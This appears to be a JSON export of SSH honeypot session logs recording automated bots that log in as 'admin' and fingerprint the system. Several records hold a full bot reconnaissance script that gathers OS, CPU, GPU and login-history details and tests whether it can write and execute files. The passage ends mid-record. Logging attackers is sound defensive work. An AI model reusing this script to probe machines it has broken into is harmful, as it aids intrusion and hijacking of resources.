  "id": "add135e2-01ea-446f-b049-d2ab446fecba",
  "name": "nautical-coral-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 60686,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 523,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:23:15.396804+00:00",
  "ended_at": "2026-08-20T10:23:15.905072+00:00",
  "ended_reason": "exec complete",
  "commands": 3,
  "transcript_bytes": 220
 },
 {
  "id": "ac485ac1-52e8-43f0-8a7d-2af1d3e821f4",
  "name": "seaward-wry-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 49634,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:18:32.269422+00:00",
  "ended_at": "2026-08-20T10:18:32.911069+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 717
 },
 {
  "id": "4f755a8a-3476-4917-b6c2-407cad5bfda7",
  "name": "bronzed-fleeting-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 35706,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 182,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:17:22.867891+00:00",
  "ended_at": "2026-08-20T10:17:24.058362+00:00",
  "ended_reason": "exec complete",
  "commands": 3,
  "transcript_bytes": 220
 },
 {
  "id": "30485b8b-5432-4367-8ddd-85f08d17001d",
  "name": "barren-hazel-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 60758,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:17:21.325850+00:00",
  "ended_at": "2026-08-20T10:17:22.202222+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 774
 },
 {
  "id": "313db582-7e9b-49bd-904f-5fb55259141a",
  "name": "hazy-nameless-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 33976,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 178,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:16:45.772362+00:00",
  "ended_at": "2026-08-20T10:16:46.118550+00:00",
  "ended_reason": "exec complete",
  "commands": 3,
  "transcript_bytes": 220
 },
 {
  "id": "75ecc869-c8dd-452c-8f1a-3fc77d2c3a79",
  "name": "primal-frank-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 54558,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 183,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:14:10.712260+00:00",
  "ended_at": "2026-08-20T10:14:11.667687+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 693
 },
 {
  "id": "115387fb-9377-4917-a9dc-062ae24562ee",
  "name": "daring-grumpy-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 53322,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 195,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:11:50.820763+00:00",
  "ended_at": "2026-08-20T10:11:51.865419+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 787
 },
 {
  "id": "ae8611a8-4fce-4864-ab0d-8e938e6bb845",
  "name": "alpine-lucid-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 44520,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:11:02.508125+00:00",
  "ended_at": "2026-08-20T10:11:03.386733+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 847
 },
 {
  "id": "789b95dd-9994-414d-bfe2-c2a908525f8d",
  "name": "civil-regal-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 51314,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:04:29.803898+00:00",
  "ended_at": "2026-08-20T10:04:30.710476+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 731
 },
 {
  "id": "c2c3ac8f-b56c-41dc-966e-069e7596b406",
  "name": "lunar-steady-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.47.66",
  "src_port": 51034,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T10:03:09.830157+00:00",
  "ended_at": "2026-08-20T10:03:11.248666+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "712104e6-a905-4f33-a0ab-cc1b566dacbf",
  "name": "hearty-knotted-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.66",
  "src_port": 59592,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T10:03:09.292109+00:00",
  "ended_at": "2026-08-20T10:03:11.248082+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1752
 },
 {
  "id": "e564802b-b005-43b8-b59a-fe1680bd9ee5",
  "name": "grassy-serene-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 58490,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T09:36:46.665755+00:00",
  "ended_at": "2026-08-20T09:36:48.674913+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d932d24e-9325-46cf-9a0d-6d3e3d588b6e",
  "name": "noble-hearty-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 57794,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T08:26:53.505960+00:00",
  "ended_at": "2026-08-20T08:26:54.338805+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f7d9a035-6b75-45be-9ffd-7f499ab99fa5",
  "name": "restless-austere-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 43610,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T08:08:08.085870+00:00",
  "ended_at": "2026-08-20T08:08:08.214844+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "1984f292-1d6d-4007-8d70-b0e25c30f53d",
  "name": "wandering-gentle-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 40710,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T08:06:23.515802+00:00",
  "ended_at": "2026-08-20T08:06:23.630475+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8d023f65-dc82-4560-819c-e9e92840cd86",
  "name": "proud-steady-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 37810,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T08:04:35.950817+00:00",
  "ended_at": "2026-08-20T08:04:36.079477+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0d5ef98b-b888-48c8-a49a-e58e8474f21b",
  "name": "gentle-blazing-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 34916,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T08:02:53.043613+00:00",
  "ended_at": "2026-08-20T08:02:53.145882+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "99c1860a-af63-4875-a819-87fde1dc9479",
  "name": "somber-oaken-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 60174,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in 